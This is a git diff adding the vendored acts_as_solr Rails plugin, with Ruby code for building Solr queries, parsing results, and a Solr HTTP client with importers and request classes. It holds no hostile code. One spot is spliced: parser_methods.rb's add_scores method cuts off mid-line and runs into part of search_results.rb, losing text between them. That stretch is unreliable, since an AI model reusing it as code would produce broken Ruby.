option has to be either a symbol, string (to be eval'ed), proc/method, true/false, or " + + "class implementing a static validation method" + ) + end + end + end + + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/lazy_document.rb b/vendor/plugins/acts_as_solr/lib/lazy_document.rb new file mode 100644 index 00000000..8cf89607 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/lazy_document.rb @@ -0,0 +1,18 @@ +module ActsAsSolr + class LazyDocument + attr_reader :id, :clazz + + def initialize(id, clazz) + @id = id + @clazz = clazz + end + + def method_missing(name, *args) + unless @__instance + @__instance = @clazz.find(@id) + end + + @__instance.send(name, *args) + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/parser_methods.rb b/vendor/plugins/acts_as_solr/lib/parser_methods.rb new file mode 100644 index 00000000..3439866c --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/parser_methods.rb @@ -0,0 +1,140 @@ +module ActsAsSolr #:nodoc: + module ParserMethods + protected + + # Method used by mostly all the ClassMethods when doing a search + def parse_query(query=nil, options={}, models=nil) + valid_options = [:offset, :limit, :facets, :models, :results_format, :order, :scores, :operator, :include, :lazy] + query_options = {} + + return nil if (query.nil? || query.strip == '') + + raise "Invalid parameters: #{(options.keys - valid_options).join(',')}" unless (options.keys - valid_options).empty? + begin + Deprecation.validate_query(options) + query_options[:start] = options[:offset] + query_options[:rows] = options[:limit] + query_options[:operator] = options[:operator] + + # first steps on the facet parameter processing + if options[:facets] + query_options[:facets] = {} + query_options[:facets][:limit] = -1 # TODO: make this configurable + query_options[:facets][:sort] = :count if options[:facets][:sort] + query_options[:facets][:mincount] = 0 + query_options[:facets][:mincount] = 1 if options[:facets][:zeros] == false + query_options[:facets][:fields] = options[:facets][:fields].collect{|k| "#{k}_facet"} if options[:facets][:fields] + query_options[:filter_queries] = replace_types([*options[:facets][:browse]].collect{|k| "#{k.sub!(/ *: */,"_facet:")}"}) if options[:facets][:browse] + query_options[:facets][:queries] = replace_types(options[:facets][:query].collect{|k| "#{k.sub!(/ *: */,"_t:")}"}) if options[:facets][:query] + end + + if models.nil? + # TODO: use a filter query for type, allowing Solr to cache it individually + models = "AND #{solr_type_condition}" + field_list = solr_configuration[:primary_key_field] + else + field_list = "id" + end + + query_options[:field_list] = [field_list, 'score'] + query = "(#{query.gsub(/ *: */,"_t:")}) #{models}" + order = options[:order].split(/\s*,\s*/).collect{|e| e.gsub(/\s+/,'_t ').gsub(/\bscore_t\b/, 'score') }.join(',') if options[:order] + query_options[:query] = replace_types([query])[0] # TODO adjust replace_types to work with String or Array + + if options[:order] + # TODO: set the sort parameter instead of the old ;order. style. + query_options[:query] << ';' << replace_types([order], false)[0] + end + + ActsAsSolr::Post.execute(Solr::Request::Standard.new(query_options)) + rescue + raise "There was a problem executing your search: #{$!} in #{$!.backtrace.first}" + end + end + + def solr_type_condition + subclasses.inject("(#{solr_configuration[:type_field]}:#{self.name}") do |condition, subclass| + condition << " OR #{solr_configuration[:type_field]}:#{subclass.name}" + end << ')' + end + + # Parses the data returned from Solr + def parse_results(solr_data, options = {}) + results = { + :docs => [], + :total => 0 + } + + configuration = { + :format => :objects + } + results.update(:facets => {'facet_fields' => []}) if options[:facets] + return SearchResults.new(results) if (solr_data.nil? || solr_data.total_hits == 0) + + configuration.update(options) if options.is_a?(Hash) + + ids = solr_data.hits.collect {|doc| doc["#{solr_configuration[:primary_key_field]}"]}.flatten + + result = find_objects(ids, options, configuration) + + add_scores(result, solr_data) if configuration[:format] == :objects && options[:scores] + + results.update(:facets => solr_data.data['facet_counts']) if options[:facets] + results.update({:docs => result, :total => solr_data.total_hits, :max_score => solr_data.max_score, :query_time => solr_data.data['responseHeader']['QTime']}) + SearchResults.new(results) + end + + + def find_objects(ids, options, configuration) + result = if configuration[:lazy] && configuration[:format] != :ids + ids.collect {|id| ActsAsSolr::LazyDocument.new(id, self)} + elsif configuration[:format] == :objects + conditions = [ "#{self.table_name}.#{primary_key} in (?)", ids ] + find_options = {:conditions => conditions} + find_options[:include] = options[:include] if options[:include] + result = reorder(self.find(:all, find_options), ids) + else + ids + end + + result + end + + # Reorders the instances keeping the order returned from Solr + def reorder(things, ids) + ordered_things = Array.new(things.size) + raise "Out of sync! Found #{ids.size} items in index, but only #{things.size} were found in database!" unless things.size == ids.size + things.each do |thing| + position = ids.index(thing.id) + ordered_things[position] = thing + end + ordered_things + end + + # Replaces the field types based on the types (if any) specified + # on the acts_as_solr call + def replace_types(strings, include_colon=true) + suffix = include_colon ? ":" : "" + if configuration[:solr_fields] + configuration[:solr_fields].each do |name, options| + field = "#{name.to_s}_#{get_solr_field_type(options[:type])}#{suffix}" + strings.each_with_index {|s,i| strings[i] = s.gsub(/#{name.to_s}_t#{suffix}/,field) } + end + end + strings + end + + # Adds the score to each one of the instances found + def add_scores(results, solr_data) + with_score = [] + solr_data.hits.each do |doc| + with_score.push([doc["score"], + results.find {|record| record_id(record).to_s == doc["#{solr_configuration[:primary_key_field]}"].to_s }]) + end + with_score.each do |score,object| + class < false + # + # total|num_found|total_hits: will return the total number of records found + # + # books.total + # => 2 + # + # facets: will return the facets when doing a faceted search + # + # max_score|highest_score: returns the highest score found + # + # books.max_score + # => 1.3213213 + # + # + class SearchResults + def initialize(solr_data={}) + @solr_data = solr_data + end + + # Returns an array with the instances. This method + # is also aliased as docs and records + def results + @solr_data[:docs] + end + + # Returns the total records found. This method is + # also aliased as num_found and total_hits + def total + @solr_data[:total] + end + + # Returns the facets when doing a faceted search + def facets + @solr_data[:facets] + end + + # Returns the highest score found. This method is + # also aliased as highest_score + def max_score + @solr_data[:max_score] + end + + def query_time + @solr_data[:query_time] + end + + alias docs results + alias records results + alias num_found total + alias total_hits total + alias highest_score max_score + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr.rb b/vendor/plugins/acts_as_solr/lib/solr.rb new file mode 100644 index 00000000..aea686ff --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr.rb @@ -0,0 +1,21 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +module Solr; end +require 'solr/exception' +require 'solr/request' +require 'solr/connection' +require 'solr/response' +require 'solr/util' +require 'solr/xml' +require 'solr/importer' +require 'solr/indexer' diff --git a/vendor/plugins/acts_as_solr/lib/solr/connection.rb b/vendor/plugins/acts_as_solr/lib/solr/connection.rb new file mode 100644 index 00000000..6e1aadcd --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/connection.rb @@ -0,0 +1,179 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'net/http' + +# TODO: add a convenience method to POST a Solr .xml file, like Solr's example post.sh + +class Solr::Connection + attr_reader :url, :autocommit, :connection + + # create a connection to a solr instance using the url for the solr + # application context: + # + # conn = Solr::Connection.new("http://example.com:8080/solr") + # + # if you would prefer to have all adds/updates autocommitted, + # use :autocommit => :on + # + # conn = Solr::Connection.new('http://example.com:8080/solr', + # :autocommit => :on) + + def initialize(url="http://localhost:8983/solr", opts={}) + @url = URI.parse(url) + unless @url.kind_of? URI::HTTP + raise "invalid http url: #{url}" + end + + # TODO: Autocommit seems nice at one level, but it currently is confusing because + # only calls to Connection#add/#update/#delete, though a Connection#send(AddDocument.new(...)) + # does not autocommit. Maybe #send should check for the request types that require a commit and + # commit in #send instead of the individual methods? + @autocommit = opts[:autocommit] == :on + + # Not actually opening the connection yet, just setting up the persistent connection. + @connection = Net::HTTP.new(@url.host, @url.port) + + @connection.read_timeout = opts[:timeout] if opts[:timeout] + end + + # add a document to the index. you can pass in either a hash + # + # conn.add(:id => 123, :title => 'Tlon, Uqbar, Orbis Tertius') + # + # or a Solr::Document + # + # conn.add(Solr::Document.new(:id => 123, :title = 'On Writing') + # + # true/false will be returned to designate success/failure + + def add(doc) + request = Solr::Request::AddDocument.new(doc) + response = send(request) + commit if @autocommit + return response.ok? + end + + # update a document in the index (really just an alias to add) + + def update(doc) + return add(doc) + end + + # performs a standard query and returns a Solr::Response::Standard + # + # response = conn.query('borges') + # + # alternative you can pass in a block and iterate over hits + # + # conn.query('borges') do |hit| + # puts hit + # end + # + # options include: + # + # :sort, :default_field, :rows, :filter_queries, :debug_query, + # :explain_other, :facets, :highlighting, :mlt, + # :operator => :or / :and + # :start => defaults to 0 + # :field_list => array, defaults to ["*", "score"] + + def query(query, options={}, &action) + # TODO: Shouldn't this return an exception if the Solr status is not ok? (rather than true/false). + create_and_send_query(Solr::Request::Standard, options.update(:query => query), &action) + end + + # performs a dismax search and returns a Solr::Response::Standard + # + # response = conn.search('borges') + # + # options are same as query, but also include: + # + # :tie_breaker, :query_fields, :minimum_match, :phrase_fields, + # :phrase_slop, :boost_query, :boost_functions + + def search(query, options={}, &action) + create_and_send_query(Solr::Request::Dismax, options.update(:query => query), &action) + end + + # sends a commit message to the server + def commit(options={}) + response = send(Solr::Request::Commit.new(options)) + return response.ok? + end + + # sends an optimize message to the server + def optimize + response = send(Solr::Request::Optimize.new) + return response.ok? + end + + # pings the connection and returns true/false if it is alive or not + def ping + begin + response = send(Solr::Request::Ping.new) + return response.ok? + rescue + return false + end + end + + # delete a document from the index using the document id + def delete(document_id) + response = send(Solr::Request::Delete.new(:id => document_id)) + commit if @autocommit + response.ok? + end + + # delete using a query + def delete_by_query(query) + response = send(Solr::Request::Delete.new(:query => query)) + commit if @autocommit + response.ok? + end + + def info + send(Solr::Request::IndexInfo.new) + end + + # send a given Solr::Request and return a RubyResponse or XmlResponse + # depending on the type of request + def send(request) + data = post(request) + Solr::Response::Base.make_response(request, data) + end + + # send the http post request to solr; for convenience there are shortcuts + # to some requests: add(), query(), commit(), delete() or send() + def post(request) + response = @connection.post(@url.path + "/" + request.handler, + request.to_s, + { "Content-Type" => request.content_type }) + + case response + when Net::HTTPSuccess then response.body + else + response.error! + end + + end + +private + + def create_and_send_query(klass, options = {}, &action) + request = klass.new(options) + response = send(request) + return response unless action + response.each {|hit| action.call(hit)} + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/document.rb b/vendor/plugins/acts_as_solr/lib/solr/document.rb new file mode 100644 index 00000000..79a3428c --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/document.rb @@ -0,0 +1,78 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' +require 'solr/field' + +class Solr::Document + include Enumerable + attr_accessor :boost + attr_reader :fields + + # Create a new Solr::Document, optionally passing in a hash of + # key/value pairs for the fields + # + # doc = Solr::Document.new(:creator => 'Jorge Luis Borges') + def initialize(hash={}) + @fields = [] + self << hash + end + + # Append a Solr::Field + # + # doc << Solr::Field.new(:creator => 'Jorge Luis Borges') + # + # If you are truly lazy you can simply pass in a hash: + # + # doc << {:creator => 'Jorge Luis Borges'} + def <<(fields) + case fields + when Hash + fields.each_pair do |name,value| + if value.respond_to?(:each) && !value.is_a?(String) + value.each {|v| @fields << Solr::Field.new(name => v)} + else + @fields << Solr::Field.new(name => value) + end + end + when Solr::Field + @fields << fields + else + raise "must pass in Solr::Field or Hash" + end + end + + # shorthand to allow hash lookups + # doc['name'] + def [](name) + field = @fields.find {|f| f.name == name.to_s} + return field.value if field + return nil + end + + # shorthand to assign as a hash + def []=(name,value) + @fields << Solr::Field.new(name => value) + end + + # convert the Document to a REXML::Element + def to_xml + e = Solr::XML::Element.new 'doc' + e.attributes['boost'] = @boost.to_s if @boost + @fields.each {|f| e.add_element(f.to_xml)} + return e + end + + def each(*args, &blk) + fields.each(&blk) + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/exception.rb b/vendor/plugins/acts_as_solr/lib/solr/exception.rb new file mode 100644 index 00000000..a439e672 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/exception.rb @@ -0,0 +1,13 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Exception < Exception; end diff --git a/vendor/plugins/acts_as_solr/lib/solr/field.rb b/vendor/plugins/acts_as_solr/lib/solr/field.rb new file mode 100644 index 00000000..0731d0e0 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/field.rb @@ -0,0 +1,39 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' +require 'time' + +class Solr::Field + VALID_PARAMS = [:boost] + attr_accessor :name + attr_accessor :value + attr_accessor :boost + + # Accepts an optional :boost parameter, used to boost the relevance of a particular field. + def initialize(params) + @boost = params[:boost] + name_key = (params.keys - VALID_PARAMS).first + @name, @value = name_key.to_s, params[name_key] + # Convert any Time values into UTC/XML schema format (which Solr requires). + @value = @value.respond_to?(:utc) ? @value.utc.xmlschema : @value.to_s + end + + def to_xml + e = Solr::XML::Element.new 'field' + e.attributes['name'] = @name + e.attributes['boost'] = @boost.to_s if @boost + e.text = @value + return e + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer.rb b/vendor/plugins/acts_as_solr/lib/solr/importer.rb new file mode 100644 index 00000000..d607b2c3 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer.rb @@ -0,0 +1,19 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +module Solr; module Importer; end; end +require 'solr/importer/mapper' +require 'solr/importer/array_mapper' +require 'solr/importer/delimited_file_source' +require 'solr/importer/hpricot_mapper' +require 'solr/importer/xpath_mapper' +require 'solr/importer/solr_source' \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/array_mapper.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/array_mapper.rb new file mode 100644 index 00000000..abef9075 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/array_mapper.rb @@ -0,0 +1,26 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +class Solr::Importer::ArrayMapper < Solr::Importer::Mapper + # TODO document that initializer takes an array of Mappers [mapper1, mapper2, ... mapperN] + + # TODO: make merge conflict handling configurable. as is, the last map fields win. + def map(orig_data_array) + mapped_data = {} + orig_data_array.each_with_index do |data,i| + mapped_data.merge!(@mapping[i].map(data)) + end + mapped_data + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/delimited_file_source.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/delimited_file_source.rb new file mode 100644 index 00000000..70f226a2 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/delimited_file_source.rb @@ -0,0 +1,38 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# For files with the first line containing field names +# Currently not designed for enormous files, as all lines are +# read into an array +class Solr::Importer::DelimitedFileSource + include Enumerable + + def initialize(filename, splitter=/\t/) + @filename = filename + @splitter = splitter + end + + def each + lines = IO.readlines(@filename) + headers = lines[0].split(@splitter).collect{|h| h.chomp} + + lines[1..-1].each do |line| + data = headers.zip(line.split(@splitter).collect{|s| s.chomp}) + def data.[](key) + self.assoc(key.to_s)[1] + end + + yield(data) + end + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/hpricot_mapper.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/hpricot_mapper.rb new file mode 100644 index 00000000..53a48e43 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/hpricot_mapper.rb @@ -0,0 +1,27 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +begin + require 'hpricot' + + class Solr::Importer::HpricotMapper < Solr::Importer::Mapper + def field_data(doc, path) + doc.search(path.to_s).collect { |e| e.inner_html } + end + end +rescue LoadError => e # If we can't load hpricot + class Solr::Importer::HpricotMapper + def initialize(mapping, options={}) + raise "Hpricot not installed." + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/mapper.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/mapper.rb new file mode 100644 index 00000000..55b199f8 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/mapper.rb @@ -0,0 +1,51 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Importer::Mapper + def initialize(mapping, options={}) + @mapping = mapping + @options = options + end + + def field_data(orig_data, field_name) + orig_data[field_name] + end + + def mapped_field_value(orig_data, field_mapping) + case field_mapping + when String + field_mapping + when Proc + field_mapping.call(orig_data) # TODO pass in more context, like self or a function for field_data, etc + when Symbol + field_data(orig_data, @options[:stringify_symbols] ? field_mapping.to_s : field_mapping) + when Enumerable + field_mapping.collect {|orig_field_name| mapped_field_value(orig_data, orig_field_name)}.flatten + else + raise "Unknown mapping for #{field_mapping}" + end + end + + def map(orig_data) + mapped_data = {} + @mapping.each do |solr_name, field_mapping| + value = mapped_field_value(orig_data, field_mapping) + mapped_data[solr_name] = value if value + end + + mapped_data + end + + + + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/solr_source.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/solr_source.rb new file mode 100644 index 00000000..fe2f4f66 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/solr_source.rb @@ -0,0 +1,43 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr' + +class Solr::Importer::SolrSource + def initialize(solr_url, query, filter_queries=nil, options={}) + @connection = Solr::Connection.new(solr_url) + @query = query + @filter_queries = filter_queries + + @page_size = options[:page_size] || 1000 + @field_list = options[:field_list] || ["*"] + end + + def each + done = false + start = 0 + until done do + # request N documents from a starting point + request = Solr::Request::Standard.new(:query => @query, + :rows => @page_size, + :start => start, + :field_list => @field_list, + :filter_queries => @filter_queries) + response = @connection.send(request) + response.each do |doc| + yield doc # TODO: perhaps convert to HashWithIndifferentAccess.new(doc), so stringify_keys isn't necessary + end + done = start + @page_size >= response.total_hits + start = start + @page_size + end + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/importer/xpath_mapper.rb b/vendor/plugins/acts_as_solr/lib/solr/importer/xpath_mapper.rb new file mode 100644 index 00000000..772e1c3c --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/importer/xpath_mapper.rb @@ -0,0 +1,35 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +begin + require 'xml/libxml' + + # For files with the first line containing field names + class Solr::Importer::XPathMapper < Solr::Importer::Mapper + def field_data(doc, xpath) + doc.find(xpath.to_s).collect do |node| + case node + when XML::Attr + node.value + when XML::Node + node.content + end + end + end + end +rescue LoadError => e # If we can't load libxml + class Solr::Importer::XPathMapper + def initialize(mapping, options={}) + raise "libxml not installed" + end + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/indexer.rb b/vendor/plugins/acts_as_solr/lib/solr/indexer.rb new file mode 100644 index 00000000..5210f05a --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/indexer.rb @@ -0,0 +1,52 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Indexer + attr_reader :solr + + # TODO: document options! + def initialize(data_source, mapper_or_mapping, options={}) + solr_url = options[:solr_url] || ENV["SOLR_URL"] || "http://localhost:8983/solr" + @solr = Solr::Connection.new(solr_url, options) #TODO - these options contain the solr_url and debug keys also, so tidy up what gets passed + + @data_source = data_source + @mapper = mapper_or_mapping.is_a?(Hash) ? Solr::Importer::Mapper.new(mapper_or_mapping) : mapper_or_mapping + + @buffer_docs = options[:buffer_docs] + @debug = options[:debug] + end + + def index + buffer = [] + @data_source.each do |record| + document = @mapper.map(record) + + # TODO: check arrity of block, if 3, pass counter as 3rd argument + yield(record, document) if block_given? # TODO check return of block, if not true then don't index, or perhaps if document.empty? + + buffer << document + + if !@buffer_docs || buffer.size == @buffer_docs + add_docs(buffer) + buffer.clear + end + end + add_docs(buffer) if !buffer.empty? + + @solr.commit unless @debug + end + + def add_docs(documents) + @solr.add(documents) unless @debug + puts documents.inspect if @debug + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request.rb b/vendor/plugins/acts_as_solr/lib/solr/request.rb new file mode 100644 index 00000000..a3ce7da3 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request.rb @@ -0,0 +1,26 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +module Solr; module Request; end; end +require 'solr/request/add_document' +require 'solr/request/modify_document' +require 'solr/request/base' +require 'solr/request/commit' +require 'solr/request/delete' +require 'solr/request/ping' +require 'solr/request/select' +require 'solr/request/standard' +require 'solr/request/spellcheck' +require 'solr/request/dismax' +require 'solr/request/update' +require 'solr/request/index_info' +require 'solr/request/optimize' diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/add_document.rb b/vendor/plugins/acts_as_solr/lib/solr/request/add_document.rb new file mode 100644 index 00000000..bb3d018f --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/add_document.rb @@ -0,0 +1,63 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' +require 'solr/request/base' +require 'solr/document' +require 'solr/request/update' + +class Solr::Request::AddDocument < Solr::Request::Update + + # create the request, optionally passing in a Solr::Document + # + # request = Solr::Request::AddDocument.new doc + # + # as a short cut you can pass in a Hash instead: + # + # request = Solr::Request::AddDocument.new :creator => 'Jorge Luis Borges' + # + # or an array, to add multiple documents at the same time: + # + # request = Solr::Request::AddDocument.new([doc1, doc2, doc3]) + + def initialize(doc={}) + @docs = [] + if doc.is_a?(Array) + doc.each { |d| add_doc(d) } + else + add_doc(doc) + end + end + + # returns the request as a string suitable for posting + + def to_s + e = Solr::XML::Element.new 'add' + for doc in @docs + e.add_element doc.to_xml + end + return e.to_s + end + + private + def add_doc(doc) + case doc + when Hash + @docs << Solr::Document.new(doc) + when Solr::Document + @docs << doc + else + raise "must pass in Solr::Document or Hash" + end + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/base.rb b/vendor/plugins/acts_as_solr/lib/solr/request/base.rb new file mode 100644 index 00000000..4b65b1f9 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/base.rb @@ -0,0 +1,36 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Request::Base + + + #TODO : Add base support for the debugQuery flag, and such that the response provides debug output easily + + # returns either :xml or :ruby depending on what the + # response type is for a given request + + def response_format + raise "unknown request type: #{self.class}" + end + + def content_type + 'text/xml; charset=utf-8' + end + + # returns the solr handler or url fragment that can + # respond to this type of request + + def handler + raise "unknown request type: #{self.class}" + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/commit.rb b/vendor/plugins/acts_as_solr/lib/solr/request/commit.rb new file mode 100644 index 00000000..bcf1308d --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/commit.rb @@ -0,0 +1,31 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' + +class Solr::Request::Commit < Solr::Request::Update + + def initialize(options={}) + @wait_searcher = options[:wait_searcher] || true + @wait_flush = options[:wait_flush] || true + end + + + def to_s + e = Solr::XML::Element.new('commit') + e.attributes['waitSearcher'] = @wait_searcher ? 'true' : 'false' + e.attributes['waitFlush'] = @wait_flush ? 'true' : 'false' + + e.to_s + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/request/delete.rb b/vendor/plugins/acts_as_solr/lib/solr/request/delete.rb new file mode 100644 index 00000000..916b44ad --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/request/delete.rb @@ -0,0 +1,50 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'solr/xml' + +class Solr::Request::Delete < Solr::Request::Update + + # A delete request can be for a specific document id + # 